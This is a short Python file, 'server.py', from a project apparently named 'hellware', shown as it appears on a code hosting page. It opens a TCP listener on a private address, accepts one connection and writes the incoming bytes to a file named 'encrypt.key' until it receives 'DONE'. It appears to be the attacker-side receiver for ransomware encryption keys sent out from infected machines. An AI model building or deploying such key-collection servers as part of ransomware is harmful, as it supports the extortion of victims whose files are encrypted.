Files
hellware/server.py
T
2024-08-23 16:59:56 +03:00

22 lines
396 B
Python

import socket
HOST = "192.168.0.155"
PORT = 8092
s = socket.socket()
s.bind((HOST,PORT))
print("Listening for upcoming connection")
s.listen()
conn, addr = s.accept()
print(f"Received connection from {addr}")
f = open('encrypt.key', 'wb')
while True:
print("Receiving...")
data = conn.recv(1024)
if data == b"DONE":
break
f.write(data)
f.close()
s.shutdown(2)
s.close()